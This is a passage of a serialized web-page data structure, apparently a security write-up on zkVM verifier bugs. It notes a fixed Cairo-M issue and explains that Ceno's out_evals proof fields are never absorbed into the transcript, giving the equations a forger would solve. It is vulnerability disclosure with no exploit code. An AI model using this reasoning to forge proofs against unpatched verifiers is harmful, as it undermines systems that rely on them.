8,"props":120023,"children":120026},{"className":120024,"style":120025},[6055],"height:0.562em;",[120027],{"type":22,"tag":118,"props":120028,"children":120029},{},[],{"type":22,"tag":118,"props":120031,"children":120033},{"className":120032},[23693,115161],[],{"type":22,"tag":118,"props":120035,"children":120037},{"className":120036},[6023],[120038],{"type":28,"value":292},{"type":22,"tag":31,"props":120040,"children":120041},{},[120042,120044],{"type":28,"value":120043},"The global check is then that ",{"type":22,"tag":114,"props":120045,"children":120047},{"className":120046},[5995,5996],[120048],{"type":22,"tag":118,"props":120049,"children":120051},{"className":120050},[6001],[120052],{"type":22,"tag":118,"props":120053,"children":120055},{"className":120054,"ariaHidden":6007},[6006],[120056,120097,120128],{"type":22,"tag":118,"props":120057,"children":120059},{"className":120058},[6012],[120060,120064,120069,120074,120079,120084,120088,120093],{"type":22,"tag":118,"props":120061,"children":120063},{"className":120062,"style":6125},[6017],[],{"type":22,"tag":118,"props":120065,"children":120067},{"className":120066},[6023,23542],[120068],{"type":28,"value":119607},{"type":22,"tag":118,"props":120070,"children":120072},{"className":120071},[23671],[120073],{"type":28,"value":540},{"type":22,"tag":118,"props":120075,"children":120077},{"className":120076},[6023,23542],[120078],{"type":28,"value":31},{"type":22,"tag":118,"props":120080,"children":120082},{"className":120081},[23693],[120083],{"type":28,"value":3627},{"type":22,"tag":118,"props":120085,"children":120087},{"className":120086,"style":6105},[6104],[],{"type":22,"tag":118,"props":120089,"children":120091},{"className":120090},[6110],[120092],{"type":28,"value":3220},{"type":22,"tag":118,"props":120094,"children":120096},{"className":120095,"style":6105},[6104],[],{"type":22,"tag":118,"props":120098,"children":120100},{"className":120099},[6012],[120101,120105,120115,120119,120124],{"type":22,"tag":118,"props":120102,"children":120104},{"className":120103,"style":6125},[6017],[],{"type":22,"tag":118,"props":120106,"children":120108},{"className":120107},[6023,28],[120109],{"type":22,"tag":118,"props":120110,"children":120112},{"className":120111},[6023],[120113],{"type":28,"value":120114},"(other terms)",{"type":22,"tag":118,"props":120116,"children":120118},{"className":120117,"style":6202},[6104],[],{"type":22,"tag":118,"props":120120,"children":120122},{"className":120121},[6207],[120123],{"type":28,"value":282},{"type":22,"tag":118,"props":120125,"children":120127},{"className":120126,"style":6202},[6104],[],{"type":22,"tag":118,"props":120129,"children":120131},{"className":120130},[6012],[120132,120136],{"type":22,"tag":118,"props":120133,"children":120135},{"className":120134,"style":95674},[6017],[],{"type":22,"tag":118,"props":120137,"children":120139},{"className":120138},[6023],[120140],{"type":28,"value":6036},{"type":22,"tag":31,"props":120142,"children":120143},{},[120144],{"type":28,"value":120145},"With challenges fixed, this is a rational equation in public data. This is not linear, but still algebraically solvable.",{"type":22,"tag":31,"props":120147,"children":120148},{},[120149],{"type":28,"value":120150},"Public-data coordinates participate in verification relations through extension-field arithmetic (including extension-valued public-memory entries), so the forged-parameter search is a coupled extension-field system.",{"type":22,"tag":31,"props":120152,"children":120153},{},[120154,120158,120160],{"type":22,"tag":74,"props":120155,"children":120156},{},[120157],{"type":28,"value":118353},{"type":28,"value":120159}," Fixed on October 31, 2025 via ",{"type":22,"tag":42,"props":120161,"children":120164},{"href":120162,"rel":120163},"https://github.com/kkrt-labs/cairo-m/pull/352/commits/92b6740937e904e0002e7ee099fec357127c1d16",[46],[120165],{"type":28,"value":120166},"commit 92b6740",{"type":22,"tag":20760,"props":120168,"children":120169},{},[],{"type":22,"tag":1289,"props":120171,"children":120173},{"id":120172},"ceno-scroll",[120174],{"type":28,"value":120175},"Ceno (Scroll)",{"type":22,"tag":31,"props":120177,"children":120178},{},[120179],{"type":28,"value":120180},"Ceno is a zkVM by Scroll, using GKR with a tower sumcheck structure.",{"type":22,"tag":31,"props":120182,"children":120183},{},[120184,120186,120191],{"type":28,"value":120185},"Ceno splits verification into ",{"type":22,"tag":74,"props":120187,"children":120188},{},[120189],{"type":28,"value":120190},"chips",{"type":28,"value":120192},", with one per opcode or lookup table. Each chip proves its constraints independently.",{"type":22,"tag":31,"props":120194,"children":120195},{},[120196,120198,120203],{"type":28,"value":120197},"Many per-record values (reads, writes, lookups) are batched into a binary tree structure. Each layer folds pairs of values with random challenges; this is the ",{"type":22,"tag":74,"props":120199,"children":120200},{},[120201],{"type":28,"value":120202},"tower sumcheck",{"type":28,"value":292},{"type":22,"tag":31,"props":120205,"children":120206},{},[120207],{"type":28,"value":120208},"All read records must match all write records (plus initial/final state). This is checked via a multiset equality, this time using a product instead of logup:",{"type":22,"tag":31,"props":120210,"children":120211},{},[120212],{"type":22,"tag":114,"props":120213,"children":120215},{"className":120214},[5995,5996],[120216],{"type":22,"tag":118,"props":120217,"children":120219},{"className":120218},[6001],[120220],{"type":22,"tag":118,"props":120221,"children":120223},{"className":120222,"ariaHidden":6007},[6006],[120224,120398,120571],{"type":22,"tag":118,"props":120225,"children":120227},{"className":120226},[6012],[120228,120232,120290,120294,120303,120308,120318,120323,120385,120389,120394],{"type":22,"tag":118,"props":120229,"children":120231},{"className":120230,"style":94585},[6017],[],{"type":22,"tag":118,"props":120233,"children":120235},{"className":120234},[23578],[120236,120242],{"type":22,"tag":118,"props":120237,"children":120239},{"className":120238,"style":23585},[23578,23583,23584],[120240],{"type":28,"value":120241},"∏",{"type":22,"tag":118,"props":120243,"children":120245},{"className":120244},[6040],[120246],{"type":22,"tag":118,"props":120247,"children":120249},{"className":120248},[6045,23596],[120250,120279],{"type":22,"tag":118,"props":120251,"children":120253},{"className":120252},[6050],[120254,120274],{"type":22,"tag":118,"props":120255,"children":120257},{"className":120256,"style":115850},[6055],[120258],{"type":22,"tag":118,"props":120259,"children":120260},{"style":23609},[120261,120265],{"type":22,"tag":118,"props":120262,"children":120264},{"className":120263,"style":6065},[6064],[],{"type":22,"tag":118,"props":120266,"children":120268},{"className":120267},[6070,6071,6072,6073],[120269],{"type":22,"tag":118,"props":120270,"children":120272},{"className":120271},[6023,23542,6073],[120273],{"type":28,"value":3613},{"type":22,"tag":118,"props":120275,"children":120277},{"className":120276},[23699],[120278],{"type":28,"value":23702},{"type":22,"tag":118,"props":120280,"children":120282},{"className":120281},[6050],[120283],{"type":22,"tag":118,"props":120284,"children":120286},{"className":120285,"style":116130},[6055],[120287],{"type":22,"tag":118,"props":120288,"children":120289},{},[],{"type":22,"tag":118,"props":120291,"children":120293},{"className":120292,"style":6143},[6104],[],{"type":22,"tag":118,"props":120295,"children":120297},{"className":120296},[6023,28],[120298],{"type":22,"tag":118,"props":120299,"children":120301},{"className":120300},[6023],[120302],{"type":28,"value":95462},{"type":22,"tag":118,"props":120304,"children":120306},{"className":120305,"style":94643},[6023],[120307],{"type":28,"value":3422},{"type":22,"tag":118,"props":120309,"children":120311},{"className":120310},[6023,28],[120312],{"type":22,"tag":118,"props":120313,"children":120315},{"className":120314},[6023],[120316],{"type":28,"value":120317},"out",{"type":22,"tag":118,"props":120319,"children":120321},{"className":120320,"style":94643},[6023],[120322],{"type":28,"value":3422},{"type":22,"tag":118,"props":120324,"children":120326},{"className":120325},[6023],[120327,120337],{"type":22,"tag":118,"props":120328,"children":120330},{"className":120329},[6023,28],[120331],{"type":22,"tag":118,"props":120332,"children":120334},{"className":120333},[6023],[120335],{"type":28,"value":120336},"evals",{"type":22,"tag":118,"props":120338,"children":120340},{"className":120339},[6040],[120341],{"type":22,"tag":118,"props":120342,"children":120344},{"className":120343},[6045,23596],[120345,120374],{"type":22,"tag":118,"props":120346,"children":120348},{"className":120347},[6050],[120349,120369],{"type":22,"tag":118,"props":120350,"children":120352},{"className":120351,"style":95172},[6055],[120353],{"type":22,"tag":118,"props":120354,"children":120355},{"style":115773},[120356,120360],{"type":22,"tag":118,"props":120357,"children":120359},{"className":120358,"style":6065},[6064],[],{"type":22,"tag":118,"props":120361,"children":120363},{"className":120362},[6070,6071,6072,6073],[120364],{"type":22,"tag":118,"props":120365,"children":120367},{"className":120366},[6023,23542,6073],[120368],{"type":28,"value":3613},{"type":22,"tag":118,"props":120370,"children":120372},{"className":120371},[23699],[120373],{"type":28,"value":23702},{"type":22,"tag":118,"props":120375,"children":120377},{"className":120376},[6050],[120378],{"type":22,"tag":118,"props":120379,"children":120381},{"className":120380,"style":94726},[6055],[120382],{"type":22,"tag":118,"props":120383,"children":120384},{},[],{"type":22,"tag":118,"props":120386,"children":120388},{"className":120387,"style":6202},[6104],[],{"type":22,"tag":118,"props":120390,"children":120392},{"className":120391},[6207],[120393],{"type":28,"value":282},{"type":22,"tag":118,"props":120395,"children":120397},{"className":120396,"style":6202},[6104],[],{"type":22,"tag":118,"props":120399,"children":120401},{"className":120400},[6012],[120402,120407,120464,120468,120477,120482,120491,120496,120558,120562,120567],{"type":22,"tag":118,"props":120403,"children":120406},{"className":120404,"style":120405},[6017],"height:1.1858em;vertical-align:-0.4358em;",[],{"type":22,"tag":118,"props":120408,"children":120410},{"className":120409},[23578],[120411,120416],{"type":22,"tag":118,"props":120412,"children":120414},{"className":120413,"style":23585},[23578,23583,23584],[120415],{"type":28,"value":120241},{"type":22,"tag":118,"props":120417,"children":120419},{"className":120418},[6040],[120420],{"type":22,"tag":118,"props":120421,"children":120423},{"className":120422},[6045,23596],[120424,120453],{"type":22,"tag":118,"props":120425,"children":120427},{"className":120426},[6050],[120428,120448],{"type":22,"tag":118,"props":120429,"children":120431},{"className":120430,"style":115850},[6055],[120432],{"type":22,"tag":118,"props":120433,"children":120434},{"style":23609},[120435,120439],{"type":22,"tag":118,"props":120436,"children":120438},{"className":120437,"style":6065},[6064],[],{"type":22,"tag":118,"props":120440,"children":120442},{"className":120441},[6070,6071,6072,6073],[120443],{"type":22,"tag":118,"props":120444,"children":120446},{"className":120445,"style":115866},[6023,23542,6073],[120447],{"type":28,"value":10658},{"type":22,"tag":118,"props":120449,"children":120451},{"className":120450},[23699],[120452],{"type":28,"value":23702},{"type":22,"tag":118,"props":120454,"children":120456},{"className":120455},[6050],[120457],{"type":22,"tag":118,"props":120458,"children":120460},{"className":120459,"style":115881},[6055],[120461],{"type":22,"tag":118,"props":120462,"children":120463},{},[],{"type":22,"tag":118,"props":120465,"children":120467},{"className":120466,"style":6143},[6104],[],{"type":22,"tag":118,"props":120469,"children":120471},{"className":120470},[6023,28],[120472],{"type":22,"tag":118,"props":120473,"children":120475},{"className":120474},[6023],[120476],{"type":28,"value":51512},{"type":22,"tag":118,"props":120478,"children":120480},{"className":120479,"style":94643},[6023],[120481],{"type":28,"value":3422},{"type":22,"tag":118,"props":120483,"children":120485},{"className":120484},[6023,28],[120486],{"type":22,"tag":118,"props":120487,"children":120489},{"className":120488},[6023],[120490],{"type":28,"value":120317},{"type":22,"tag":118,"props":120492,"children":120494},{"className":120493,"style":94643},[6023],[120495],{"type":28,"value":3422},{"type":22,"tag":118,"props":120497,"children":120499},{"className":120498},[6023],[120500,120509],{"type":22,"tag":118,"props":120501,"children":120503},{"className":120502},[6023,28],[120504],{"type":22,"tag":118,"props":120505,"children":120507},{"className":120506},[6023],[120508],{"type":28,"value":120336},{"type":22,"tag":118,"props":120510,"children":120512},{"className":120511},[6040],[120513],{"type":22,"tag":118,"props":120514,"children":120516},{"className":120515},[6045,23596],[120517,120546],{"type":22,"tag":118,"props":120518,"children":120520},{"className":120519},[6050],[120521,120541],{"type":22,"tag":118,"props":120522,"children":120524},{"className":120523,"style":95172},[6055],[120525],{"type":22,"tag":118,"props":120526,"children":120527},{"style":115773},[120528,120532],{"type":22,"tag":118,"props":120529,"children":120531},{"className":120530,"style":6065},[6064],[],{"type":22,"tag":118,"props":120533,"children":120535},{"className":120534},[6070,6071,6072,6073],[120536],{"type":22,"tag":118,"props":120537,"children":120539},{"className":120538,"style":115866},[6023,23542,6073],[120540],{"type":28,"value":10658},{"type":22,"tag":118,"props":120542,"children":120544},{"className":120543},[23699],[120545],{"type":28,"value":23702},{"type":22,"tag":118,"props":120547,"children":120549},{"className":120548},[6050],[120550],{"type":22,"tag":118,"props":120551,"children":120554},{"className":120552,"style":120553},[6055],"height:0.2861em;",[120555],{"type":22,"tag":118,"props":120556,"children":120557},{},[],{"type":22,"tag":118,"props":120559,"children":120561},{"className":120560,"style":6105},[6104],[],{"type":22,"tag":118,"props":120563,"children":120565},{"className":120564},[6110],[120566],{"type":28,"value":112905},{"type":22,"tag":118,"props":120568,"children":120570},{"className":120569,"style":6105},[6104],[],{"type":22,"tag":118,"props":120572,"children":120574},{"className":120573},[6012],[120575,120579,120584,120594],{"type":22,"tag":118,"props":120576,"children":120578},{"className":120577,"style":6125},[6017],[],{"type":22,"tag":118,"props":120580,"children":120582},{"className":120581},[23671],[120583],{"type":28,"value":540},{"type":22,"tag":118,"props":120585,"children":120587},{"className":120586},[6023,28],[120588],{"type":22,"tag":118,"props":120589,"children":120591},{"className":120590},[6023],[120592],{"type":28,"value":120593},"state factors",{"type":22,"tag":118,"props":120595,"children":120597},{"className":120596},[23693],[120598],{"type":28,"value":3627},{"type":22,"tag":31,"props":120600,"children":120601},{},[120602],{"type":22,"tag":74,"props":120603,"children":120604},{},[120605],{"type":28,"value":117059},{"type":22,"tag":107,"props":120607,"children":120609},{"code":120608},"ZKVMChipProof {\n    r_out_evals: [[FieldElement]],   // \u003C- VULNERABLE\n    w_out_evals: [[FieldElement]],   // \u003C- VULNERABLE\n    lk_out_evals: [[FieldElement]],  // \u003C- VULNERABLE\n    tower_proof: [...],\n    gkr_iop_proof: [...],\n}\n",[120610],{"type":22,"tag":114,"props":120611,"children":120612},{"__ignoreMap":7},[120613],{"type":28,"value":120608},{"type":22,"tag":31,"props":120615,"children":120616},{},[120617,120623,120624,120630,120631,120637],{"type":22,"tag":114,"props":120618,"children":120620},{"className":120619},[],[120621],{"type":28,"value":120622},"r_out_evals",{"type":28,"value":231},{"type":22,"tag":114,"props":120625,"children":120627},{"className":120626},[],[120628],{"type":28,"value":120629},"w_out_evals",{"type":28,"value":8497},{"type":22,"tag":114,"props":120632,"children":120634},{"className":120633},[],[120635],{"type":28,"value":120636},"lk_out_evals",{"type":28,"value":120638}," are used to initialize the tower sumcheck claim, but they're never absorbed into the transcript. This leaves us with two equations:",{"type":22,"tag":4029,"props":120640,"children":120641},{},[120642],{"type":22,"tag":68,"props":120643,"children":120644},{},[120645,120650,120652,120658],{"type":22,"tag":74,"props":120646,"children":120647},{},[120648],{"type":28,"value":120649},"GKR/Tower equation",{"type":28,"value":120651}," (linear in ",{"type":22,"tag":114,"props":120653,"children":120655},{"className":120654},[],[120656],{"type":28,"value":120657},"out_evals",{"type":28,"value":25891},{"type":22,"tag":31,"props":120660,"children":120661},{},[120662,120664],{"type":28,"value":120663},"The tower sumcheck claim is ",{"type":22,"tag":114,"props":120665,"children":120667},{"className":120666},[5995,5996],[120668],{"type":22,"tag":118,"props":120669,"children":120671},{"className":120670},[6001],[120672],{"type":22,"tag":118,"props":120673,"children":120675},{"className":120674,"ariaHidden":6007},[6006],[120676,120707,120832],{"type":22,"tag":118,"props":120677,"children":120679},{"className":120678},[6012],[120680,120684,120694,120698,120703],{"type":22,"tag":118,"props":120681,"children":120683},{"className":120682,"style":94558},[6017],[],{"type":22,"tag":118,"props":120685,"children":120687},{"className":120686},[6023,28],[120688],{"type":22,"tag":118,"props":120689,"children":120691},{"className":120690},[6023],[120692],{"type":28,"value":120693},"claim",{"type":22,"tag":118,"props":120695,"children":120697},{"className":120696,"style":6202},[6104],[],{"type":22,"tag":118,"props":120699,"children":120701},{"className":120700},[6207],[120702],{"type":28,"value":282},{"type":22,"tag":118,"props":120704,"children":120706},{"className":120705,"style":6202},[6104],[],{"type":22,"tag":118,"props":120708,"children":120710},{"className":120709},[6012],[120711,120716,120773,120777,120819,120823,120828],{"type":22,"tag":118,"props":120712,"children":120715},{"className":120713,"style":120714},[6017],"height:1.2605em;vertical-align:-0.4358em;",[],{"type":22,"tag":118,"props":120717,"children":120719},{"className":120718},[23578],[120720,120725],{"type":22,"tag":118,"props":120721,"children":120723},{"className":120722,"style":23585},[23578,23583,23584],[120724],{"type":28,"value":110438},{"type":22,"tag":118,"props":120726,"children":120728},{"className":120727},[6040],[120729],{"type":22,"tag":118,"props":120730,"children":120732},{"className":120731},[6045,23596],[120733,120762],{"type":22,"tag":118,"props":120734,"children":120736},{"className":120735},[6050],[120737,120757],{"type":22,"tag":118,"props":120738,"children":120740},{"className":120739,"style":115850},[6055],[120741],{"type":22,"tag":118,"props":120742,"children":120743},{"style":23609},[120744,120748],{"type":22,"tag":118,"props":120745,"children":120747},{"className":120746,"style":6065},[6064],[],{"type":22,"tag":118,"props":120749,"children":120751},{"className":120750},[6070,6071,6072,6073],[120752],{"type":22,"tag":118,"props":120753,"children":120755},{"className":120754,"style":115866},[6023,23542,6073],[120756],{"type":28,"value":10658},{"type":22,"tag":118,"props":120758,"children":120760},{"className":120759},[23699],[120761],{"type":28,"value":23702},{"type":22,"tag":118,"props":120763,"children":120765},{"className":120764},[6050],[120766],{"type":22,"tag":118,"props":120767,"children":120769},{"className":120768,"style":115881},[6055],[120770],{"type":22,"tag":118,"props":120771,"children":120772},{},[],{"type":22,"tag":118,"props":120774,"children":120776},{"className":120775,"style":6143},[6104],[],{"type":22,"tag":118,"props":120778,"children":120780},{"className":120779},[6023],[120781,120786],{"type":22,"tag":118,"props":120782,"children":120784},{"className":120783,"style":116731},[6023,23542],[120785],{"type":28,"value":116734},{"type":22,"tag":118,"props":120787,"children":120789},{"className":120788},[6040],[120790],{"type":22,"tag":118,"props":120791,"children":120793},{"className":120792},[6045],[120794],{"type":22,"tag":118,"props":120795,"children":120797},{"className":120796},[6050],[120798],{"type":22,"tag":118,"props":120799,"children":120802},{"className":120800,"style":120801},[6055],"height:0.8247em;",[120803],{"type":22,"tag":118,"props":120804,"children":120805},{"style":6059},[120806,120810],{"type":22,"tag":118,"props":120807,"children":120809},{"className":120808,"style":6065},[6064],[],{"type":22,"tag":118,"props":120811,"children":120813},{"className":120812},[6070,6071,6072,6073],[120814],{"type":22,"tag":118,"props":120815,"children":120817},{"className":120816,"style":115866},[6023,23542,6073],[120818],{"type":28,"value":10658},{"type":22,"tag":118,"props":120820,"children":120822},{"className":120821,"style":6105},[6104],[],{"type":22,"tag":118,"props":120824,"children":120826},{"className":120825},[6110],[120827],{"type":28,"value":112905},{"type":22,"tag":118,"props":120829,"children":120831},{"className":120830,"style":6105},[6104],[],{"type":22,"tag":118,"props":120833,"children":120835},{"className":120834},[6012],[120836,120840,120849,120854],{"type":22,"tag":118,"props":120837,"children":120839},{"className":120838,"style":96056},[6017],[],{"type":22,"tag":118,"props":120841,"children":120843},{"className":120842},[6023,28],[120844],{"type":22,"tag":118,"props":120845,"children":120847},{"className":120846},[6023],[120848],{"type":28,"value":120317},{"type":22,"tag":118,"props":120850,"children":120852},{"className":120851,"style":94643},[6023],[120853],{"type":28,"value":3422},{"type":22,"tag":118,"props":120855,"children":120857},{"className":120856},[6023],[120858,120867],{"type":22,"tag":118,"props":120859,"children":120861},{"className":120860},[6023,28],[120862],{"type":22,"tag":118,"props":120863,"children":120865},{"className":120864},[6023],[120866],{"type":28,"value":120336},{"type":22,"tag":118,"props":120868,"children":120870},{"className":120869},[6040],[120871],{"type":22,"tag":118,"props":120872,"children":120874},{"className":120873},[6045,23596],[120875,120904],{"type":22,"tag":118,"props":120876,"children":120878},{"className":120877},[6050],[120879,120899],{"type":22,"tag":118,"props":120880,"children":120882},{"className":120881,"style":95172},[6055],[120883],{"type":22,"tag":118,"props":120884,"children":120885},{"style":115773},[120886,120890],{"type":22,"tag":118,"props":120887,"children":120889},{"className":120888,"style":6065},[6064],[],{"type":22,"tag":118,"props":120891,"children":120893},{"className":120892},[6070,6071,6072,6073],[120894],{"type":22,"tag":118,"props":120895,"children":120897},{"className":120896,"style":115866},[6023,23542,6073],[120898],{"type":28,"value":10658},{"type":22,"tag":118,"props":120900,"children":120902},{"className":120901},[23699],[120903],{"type":28,"value":23702},{"type":22,"tag":118,"props":120905,"children":120907},{"className":120906},[6050],[120908],{"type":22,"tag":118,"props":120909,"children":120911},{"className":120910,"style":120553},[6055],[120912],{"type":22,"tag":118,"props":120913,"children":120914},{},[],{"type":22,"tag":31,"props":120916,"children":120917},{},[120918,120920,120925],{"type":28,"value":120919},"This check is linear in ",{"type":22,"tag":114,"props":120921,"children":120923},{"className":120922},[],[120924],{"type":28,"value":120657},{"type":28,"value":292},{"type":22,"tag":4029,"props":120927,"children":120928},{"start":142},[120929],{"type":22,"tag":68,"props":120930,"children":120931},{},[120932,120937,120939,120944],{"type":22,"tag":74,"props":120933,"children":120934},{},[120935],{"type":28,"value":120936},"rw-product consistency",{"type":28,"value":120938}," (bilinear in ",{"type":22,"tag":114,"props":120940,"children":120942},{"className":120941},[],[120943],{"type":28,"value":120657},{"type":28,"value":25891},{"type":22,"tag":31,"props":120946,"children":120947},{},[120948],{"type":22,"tag":114,"props":120949,"children":120951},{"className":120950},[5995,5996],[120952],{"type":22,"tag":118,"props":120953,"children":120955},{"className":120954},[6001],[120956],{"type":22,"tag":118,"props":120957,"children":120959},{"className":120958,"ariaHidden":6007},[6006],[120960,121131,121302],{"type":22,"tag":118,"props":120961,"children":120963},{"className":120962},[6012],[120964,120968,121025,121029,121038,121043,121052,121057,121118,121122,121127],{"type":22,"tag":118,"props":120965,"children":120967},{"className":120966,"style":94585},[6017],[],{"type":22,"tag":118,"props":120969,"children":120971},{"className":120970},[23578],[120972,120977],{"type":22,"tag":118,"props":120973,"children":120975},{"className":120974,"style":23585},[23578,23583,23584],[120976],{"type":28,"value":120241},{"type":22,"tag":118,"props":120978,"children":120980},{"className":120979},[6040],[120981],{"type":22,"tag":118,"props":120982,"children":120984},{"className":120983},[6045,23596],[120985,121014],{"type":22,"tag":118,"props":120986,"children":120988},{"className":120987},[6050],[120989,121009],{"type":22,"tag":118,"props":120990,"children":120992},{"className":120991,"style":115850},[6055],[120993],{"type":22,"tag":118,"props":120994,"children":120995},{"style":23609},[120996,121000],{"type":22,"tag":118,"props":120997,"children":120999},{"className":120998,"style":6065},[6064],[],{"type":22,"tag":118,"props":121001,"children":121003},{"className":121002},[6070,6071,6072,6073],[121004],{"type":22,"tag":118,"props":121005,"children":121007},{"className":121006},[6023,23542,6073],[121008],{"type":28,"value":3613},{"type":22,"tag":118,"props":121010,"children":121012},{"className":121011},[23699],[121013],{"type":28,"value":23702},{"type":22,"tag":118,"props":121015,"children":121017},{"className":121016},[6050],[121018],{"type":22,"tag":118,"props":121019,"children":121021},{"className":121020,"style":116130},[6055],[121022],{"type":22,"tag":118,"props":121023,"children":121024},{},[],{"type":22,"tag":118,"props":121026,"children":121028},{"className":121027,"style":6143},[6104],[],{"type":22,"tag":118,"props":121030,"children":121032},{"className":121031},[6023,28],[121033],{"type":22,"tag":118,"props":121034,"children":121036},{"className":121035},[6023],[121037],{"type":28,"value":95462},{"type":22,"tag":118,"props":121039,"children":121041},{"className":121040,"style":94643},[6023],[121042],{"type":28,"value":3422},{"type":22,"tag":118,"props":121044,"children":121046},{"className":121045},[6023,28],[121047],{"type":22,"tag":118,"props":121048,"children":121050},{"className":121049},[6023],[121051],{"type":28,"value":120317},{"type":22,"tag":118,"props":121053,"children":121055},{"className":121054,"style":94643},[6023],[121056],{"type":28,"value":3422},{"type":22,"tag":118,"props":121058,"children":121060},{"className":121059},[6023],[121061,121070],{"type":22,"tag":118,"props":121062,"children":121064},{"className":121063},[6023,28],[121065],{"type":22,"tag":118,"props":121066,"children":121068},{"className":121067},[6023],[121069],{"type":28,"value":120336},{"type":22,"tag":118,"props":121071,"children":121073},{"className":121072},[6040],[121074],{"type":22,"tag":118,"props":121075,"children":121077},{"className":121076},[6045,23596],[121078,121107],{"type":22,"tag":118,"props":121079,"children":121081},{"className":121080},[6050],[121082,121102],{"type":22,"tag":118,"props":121083,"children":121085},{"className":121084,"style":95172},[6055],[121086],{"type":22,"tag":118,"props":121087,"children":121088},{"style":115773},[121089,121093],{"type":22,"tag":118,"props":121090,"children":121092},{"className":121091,"style":6065},[6064],[],{"type":22,"tag":118,"props":121094,"children":121096},{"className":121095},[6070,6071,6072,6073],[121097],{"type":22,"tag":118,"props":121098,"children":121100},{"className":121099},[6023,23542,6073],[121101],{"type":28,"value":3613},{"type":22,"tag":118,"props":121103,"children":121105},{"className":121104},[23699],[121106],{"type":28,"value":23702},{"type":22,"tag":118,"props":121108,"children":121110},{"className":121109},[6050],[121111],{"type":22,"tag":118,"props":121112,"children":121114},{"className":121113,"style":94726},[6055],[121115],{"type":22,"tag":118,"props":121116,"children":121117},{},[],{"type":22,"tag":118,"props":121119,"children":121121},{"className":121120,"style":6202},[6104],[],{"type":22,"tag":118,"props":121123,"children":121125},{"className":121124},[6207],[121126],{"type":28,"value":282},{"type":22,"tag":118,"props":121128,"children":121130},{"className":121129,"style":6202},[6104],[],{"type":22,"tag":118,"props":121132,"children":121134},{"className":121133},[6012],[121135,121139,121196,121200,121209,121214,121223,121228,121289,121293,121298],{"type":22,"tag":118,"props":121136,"children":121138},{"className":121137,"style":120405},[6017],[],{"type":22,"tag":118,"props":121140,"children":121142},{"className":121141},[23578],[121143,121148],{"type":22,"tag":118,"props":121144,"children":121146},{"className":121145,"style":23585},[23578,23583,23584],[121147],{"type":28,"value":120241},{"type":22,"tag":118,"props":121149,"children":121151},{"className":121150},[6040],[121152],{"type":22,"tag":118,"props":121153,"children":121155},{"className":121154},[6045,23596],[121156,121185],{"type":22,"tag":118,"props":121157,"children":121159},{"className":121158},[6050],[121160,121180],{"type":22,"tag":118,"props":121161,"children":121163},{"className":121162,"style":115850},[6055],[121164],{"type":22,"tag":118,"props":121165,"children":121166},{"style":23609},[121167,121171],{"type":22,"tag":118,"props":121168,"children":121170},{"className":121169,"style":6065},[6064],[],{"type":22,"tag":118,"props":121172,"children":121174},{"className":121173},[6070,6071,6072,6073],[121175],{"type":22,"tag":118,"props":121176,"children":121178},{"className":121177,"style":115866},[6023,23542,6073],[121179],{"type":28,"value":10658},{"type":22,"tag":118,"props":121181,"children":121183},{"className":121182},[23699],[121184],{"type":28,"value":23702},{"type":22,"tag":118,"props":121186,"children":121188},{"className":121187},[6050],[121189],{"type":22,"tag":118,"props":121190,"children":121192},{"className":121191,"style":115881},[6055],[121193],{"type":22,"tag":118,"props":121194,"children":121195},{},[],{"type":22,"tag":118,"props":121197,"children":121199},{"className":121198,"style":6143},[6104],[],{"type":22,"tag":118,"props":121201,"children":121203},{"className":121202},[6023,28],[121204],{"type":22,"tag":118,"props":121205,"children":121207},{"className":121206},[6023],[121208],{"type":28,"value":51512},{"type":22,"tag":118,"props":121210,"children":121212},{"className":121211,"style":94643},[6023],[121213],{"type":28,"value":3422},{"type":22,"tag":118,"props":121215,"children":121217},{"className":121216},[6023,28],[121218],{"type":22,"tag":118,"props":121219,"children":121221},{"className":121220},[6023],[121222],{"type":28,"value":120317},{"type":22,"tag":118,"props":121224,"children":121226},{"className":121225,"style":94643},[6023],[121227],{"type":28,"value":3422},{"type":22,"tag":118,"props":121229,"children":121231},{"className":121230},[6023],[121232,121241],{"type":22,"tag":118,"props":121233,"children":121235},{"className":121234},[6023,28],[121236],{"type":22,"tag":118,"props":121237,"children":121239},{"className":121238},[6023],[121240],{"type":28,"value":120336},{"type":22,"tag":118,"props":121242,"children":121244},{"className":121243},[6040],[121245],{"type":22,"tag":118,"props":121246,"children":121248},{"className":121247},[6045,23596],[121249,121278],{"type":22,"tag":118,"props":121250,"children":121252},{"className":121251},[6050],[121253,121273],{"type":22,"tag":118,"props":121254,"children":121256},{"className":121255,"style":95172},[6055],[121257],{"type":22,"tag":118,"props":121258,"children":121259},{"style":115773},[121260,121264],{"type":22,"tag":118,"props":121261,"children":121263},{"className":121262,"style":6065},[6064],[],{"type":22,"tag":118,"props":121265,"children":121267},{"className":121266},[6070,6071,6072,6073],[121268],{"type":22,"tag":118,"props":121269,"children":121271},{"className":121270,"style":115866},[6023,23542,6073],[121272],{"type":28,"value":10658},{"type":22,"tag":118,"props":121274,"children":121276},{"className":121275},[23699],[121277],{"type":28,"value":23702},{"type":22,"tag":118,"props":121279,"children":121281},{"className":121280},[6050],[121282],{"type":22,"tag":118,"props":121283,"children":121285},{"className":121284,"style":120553},[6055],[121286],{"type":22,"tag":118,"props":121287,"children":121288},{},[],{"type":22,"tag":118,"props":121290,"children":121292},{"className":121291,"style":6105},[6104],[],{"type":22,"tag":118,"props":121294,"children":121296},{"className":121295},[6110],[121297],{"type":28,"value":112905},{"type":22,"tag":118,"props":121299,"children":121301},{"className":121300,"style":6105},[6104],[],{"type":22,"tag":118,"props":121303,"children":121305},{"className":121304},[6012],[121306,121310,121315,121324],{"type":22,"tag":118,"props":121307,"children":121309},{"className":121308,"style":6125},[6017],[],{"type":22,"tag":118,"props":121311,"children":121313},{"className":121312},[23671],[121314],{"type":28,"value":540},{"type":22,"tag":118,"props":121316,"children":121318},{"className":121317},[6023,28],[121319],{"type":22,"tag":118,"props":121320,"children":121322},{"className":121321},[6023],[121323],{"type":28,"value":120593},{"type":22,"tag":118,"props":121325,"children":121327},{"className":121326},[23693],[121328],{"type":28,"value":3627},{"type":22,"tag":31,"props":121330,"children":121331},{},[121332,121334,121503,121504,121673],{"type":28,"value":121333},"If we vary 